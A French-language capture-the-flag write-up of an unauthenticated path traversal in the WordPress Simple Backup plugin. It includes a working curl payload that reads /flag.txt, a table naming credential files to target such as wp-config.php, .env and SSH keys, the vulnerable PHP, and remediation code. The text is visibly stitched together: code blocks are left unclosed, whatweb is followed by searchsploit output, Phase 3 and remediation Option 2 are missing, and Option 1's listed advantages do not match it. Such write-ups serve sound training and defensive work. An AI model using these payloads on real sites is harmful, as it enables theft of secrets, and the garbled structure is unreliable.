`page=backup_manager` achemine la requête vers le gestionnaire de page d'administration du plugin ; `download_backup_file` est le paramètre que le code du plugin lit directement et concatène dans un chemin de système de fichiers sans validation, permettant une traversée de répertoire.

---

### Score CVSS v3.1

**7.5 - ÉLEVÉ** (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

- **Vecteur d'attaque (AV) :** Réseau
- **Complexité d'attaque (AC) :** Faible
- **Privilèges requis (PR) :** Aucun
- **Interaction utilisateur (UI) :** Aucune
- **Périmètre (S) :** Inchangé
- **Confidentialité (C) :** Élevée
- **Intégrité (I) :** Aucune
- **Disponibilité (A) :** Aucune

---

### Impact métier

**Violation de confidentialité :** ⚠️ CRITIQUE

Les attaquants peuvent lire tout fichier accessible au serveur web, notamment :

| Fichier | Impact | Niveau de risque |
|------|--------|------------|
| `/wp-config.php` | Identifiants de base de données, sels, clés | 🔴 CRITIQUE |
| `/.env` | Clés API, secrets, configuration | 🔴 CRITIQUE |
| `/etc/passwd` | Énumération d'utilisateurs, cartographie du système | 🟠 ÉLEVÉ |
| Clés SSH (`.ssh/id_rsa`) | Mouvement latéral, accès au système | 🔴 CRITIQUE |
| `/proc/self/environ` | Secrets de l'application en cours d'exécution | 🟠 ÉLEVÉ |
| Répertoire de téléversements des utilisateurs | Fichiers privés, médias | 🟠 ÉLEVÉ |

**Impact réglementaire :**
- **Violation du RGPD :** Accès non autorisé aux données utilisateur
- **Violation de la HIPAA :** Exposition d'informations de santé protégées
- **Violation de la PCI-DSS :** Accès aux données de cartes bancaires ou aux informations de paiement
- **Violation de la SOC 2 :** Non-respect de l'exigence de confidentialité

---

### Modèle de code vulnérable

L'avis Exploit-DB (39883.txt, lu via `searchsploit -x` — voir [ht4-poc.png](https://github.com/capivara-research/wordpress-path-traversal-cve-2019-11447/blob/HEAD/images/ht4-poc.png)) documente la primitive **delete** du plugin dans `simple-backup-manager.php` :```php
if(array_key_exists('delete_backup_file', $_GET)){
    $this->delete_local_backup_file($_GET['delete_backup_file']);
}

`$filename` provient directement de `$_GET['delete_backup_file']` sans vérification `basename()` ni contrôle de confinement de chemin. Passer `../pizza.txt` résout `$bk_dir . $filename` en `.../simple-backup/../pizza.txt` → `.../pizza.txt`, ce qui permet de sortir du dossier de sauvegarde prévu.

La primitive de **téléchargement** réellement exploitée lors de cet engagement (`download_backup_file`) suit exactement le même schéma de concaténation non assainie dans le même plugin, mais renvoie le fichier au demandeur au lieu de le supprimer — c'est ce qui a permis de récupérer `/flag.txt` à la racine du système de fichiers (10× `../` depuis `ABSPATH/simple-backup/`).

**Le problème :**
- Aucune utilisation de `basename()` pour supprimer les composants de répertoire
- Aucune liste blanche des fichiers autorisés
- Aucune validation que `realpath()` reste dans `ABSPATH."simple-backup/"`
- Concaténation directe de l'entrée utilisateur dans le chemin du fichier
- Aucun contrôle `current_user_can()` / d'authentification avant de servir le fichier — le gestionnaire s'exécute au chargement du plugin, avant la passerelle d'authentification `wp-admin` de WordPress, il est donc accessible **sans être connecté**

---

### Preuve de concept

#### **Phase 1 : Accès initial — Identification de l'application**

Connexion directe à la cible via le navigateur (`http://154.57.164.73:30706/`). L'installation WordPress est intitulée **« GETTING STARTED »**, et un article de blog public sur la page d'accueil divulgue le nom et la version exacts du plugin en texte clair : **« Simple Backup Plugin 2.7.10 for WordPress »** — aucun outil d'énumération n'était même nécessaire pour identifier le composant vulnérable.

![Accès initial - Version du plugin révélée sur la page d'accueil WordPress](https://assets.kitploit.com/production/public/readmes/51282/807a6be937aeb55de6f3c60b479762729a056e9134edd0f8bf3a0779b36b854f/46c8a8c16d715251f282bacf2522c3e620864b14008847867c32672ba0d051fd-display-v1.webp)

#### **Phase 2 : Identification du service**```bash
whatweb http://154.57.164.73:30706/

**Résultat :**```
Exploit Title                                              |  Path
------------------------------------------------------------------------------
WordPress Plugin Simple Backup 2.7.11 - Multiple Vulnerabilities | php/webapps/39883.txt

L'avis documente la **suppression arbitraire de fichiers** non authentifiée via le paramètre `delete_backup_file`, et note que les fichiers de sauvegarde sous `simple-backup/` (et, par le même chemin de code non assaini, des fichiers arbitraires via `download_backup_file`) peuvent être récupérés sans authentification.

![Recherche de vulnérabilités - Exploit-DB PoC 39883.txt lu via searchsploit -x](https://assets.kitploit.com/production/public/readmes/51282/8d2f7a41935c4f9ebf4df1243ee68ba0628592b26411770696534eaa903851c4/7e636497c5d9d7382c9b0d7d5917938a399cf76f014b6e5fb754400078325e54-display-v1.webp)

#### **Phase 4 : Exploitation — Traversée de chemin via `download_backup_file`**

Point de terminaison vulnérable identifié à partir du routage de la page d'administration du plugin :```
http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=

**GUI (utilisé dans cette évaluation) :** l’URL du payload a été ouverte directement dans la barre d’adresse du navigateur. Aucune connexion n’était requise — le navigateur a déclenché un téléchargement automatique du fichier `flag.txt` résolu.

![Exploitation - Payload de traversée de chemin dans la barre d’adresse du navigateur, flag.txt téléchargé](https://assets.kitploit.com/production/public/readmes/51282/c02c8273770253f4f0c3b79c0e4de1ab7b8190bfdbbec554a90a25e22553a635/6d1a521bdea2df6ba65e17df783d9f81ea3da096daba3f9bde02bece60a8e406-display-v1.webp)

**Équivalent sans interface graphique :**```bash
curl -s "http://154.57.164.73:30706/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../../../../../flag.txt" -o flag.txt
cat flag.txt

---

### Validation de l'impact

✅ **Confidentialité compromise :** Tout fichier lisible par le processus du serveur web est accessible
✅ **Aucune authentification requise :** Les utilisateurs non authentifiés peuvent exploiter la faille
✅ **Aucune interaction utilisateur nécessaire :** Exploitation directe via une requête HTTP
✅ **Répétable et fiable :** Fonctionne sur toutes les versions vulnérables
✅ **Données métier critiques exposées :** Fichiers de configuration, identifiants, données utilisateur divulgués

---

## Remédiation

### **Option 1 : Liste blanche des entrées (recommandé)**

Autoriser uniquement les téléchargements depuis une liste prédéfinie de fichiers :```php
<?php
// Define allowed backup files
$allowed_files = array(
    'backup_2024_01_15.zip',
    'backup_2024_01_16.zip',
    'backup_2024_01_17.zip',
);

$requested_file = $_GET['download_backup_file'];

// Validate against whitelist
if (!in_array($requested_file, $allowed_files)) {
    die("File not found or access denied");
}

// Use basename() as double protection
$file = basename($requested_file);
$filepath = ABSPATH . "simple-backup/" . $file;

// Verify file exists and is readable
if (!file_exists($filepath) || !is_readable($filepath)) {
    die("File not found");
}

readfile($filepath);
?>

**Avantages :**
- Gère les liens symboliques et les chemins complexes
- Vérifie le confinement automatiquement
- Plus flexible qu'une liste blanche

---

### **Option 3 : Utiliser basename() pour le nom de fichier uniquement**

Extraire uniquement le composant du nom de fichier :```php
<?php
$user_input = $_GET['download_backup_file'];

// Remove all directory components
$file = basename($user_input);

// Build safe path
$filepath = ABSPATH . "simple-backup/" . $file;

// Verify file exists
if (!file_exists($filepath)) {
    die("File not found");
}

readfile($filepath);
?>

**Autorisations du système de fichiers :**```bash
# Restrict web server access to necessary directories only
chmod 750 /var/www/html/wp-content/plugins/
chmod 750 /var/www/html/wp-content/simple-backup/

# Remove sensitive files from web root
rm -f /var/www/html/.env
mv /var/www/html/wp-config.php /var/www/wp-config.php

# Use chroot/jailing for web server
# Set PHP open_basedir to restrict file access
php_admin_value[open_basedir] = /var/www/html/uploads

**Gestion des mises à jour :**

1. Désactiver ou supprimer le plugin Simple Backup
2. Installer une solution de sauvegarde approuvée avec audit de sécurité
3. Mettre à jour WordPress vers la dernière version
4. Mettre à jour tous les plugins vers les dernières versions
5. Mettre à jour PHP vers 8.0+ avec les correctifs de sécurité

---

## Chaîne d'attaque```
┌─────────────────────────────────────────────────────────────┐
│  1. INITIAL ACCESS                                          │
│  └─ Browse to 154.57.164.73:30706                           │
│  └─ WordPress "GETTING STARTED" site identified              │
│  └─ Homepage blog post discloses: Simple Backup Plugin 2.7.10│
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  2. ENUMERATION                                             │
│  └─ whatweb confirms Apache 2.4.41, WordPress 5.6.1          │
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  3. VULNERABILITY RESEARCH                                  │
│  └─ searchsploit → 39883.txt (Simple Backup 2.7.11 vulns)    │
│  └─ searchsploit -x → read PoC, identify unsanitized         │
│     delete_backup_file / download_backup_file parameters     │
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  4. EXPLOITATION                                             │
│  └─ Endpoint: /wp-admin/tools.php?page=backup_manager        │
│  └─ Payload: download_backup_file=../..(x10)../flag.txt      │
│  └─ Browser navigates to payload URL (no login required)     │
│  └─ Plugin resolves path to /flag.txt and serves it          │
└──────────────────────┬──────────────────────────────────────┘
                       │
┌──────────────────────▼──────────────────────────────────────┐
│  5. SUCCESS                                                 │
│  └─ Flag Retrieved: HTB{my_f1r57_h4ck}                       │
│  └─ Confidentiality Breached                                 │
│  └─ Unauthenticated arbitrary file read confirmed             │
└─────────────────────────────────────────────────────────────┘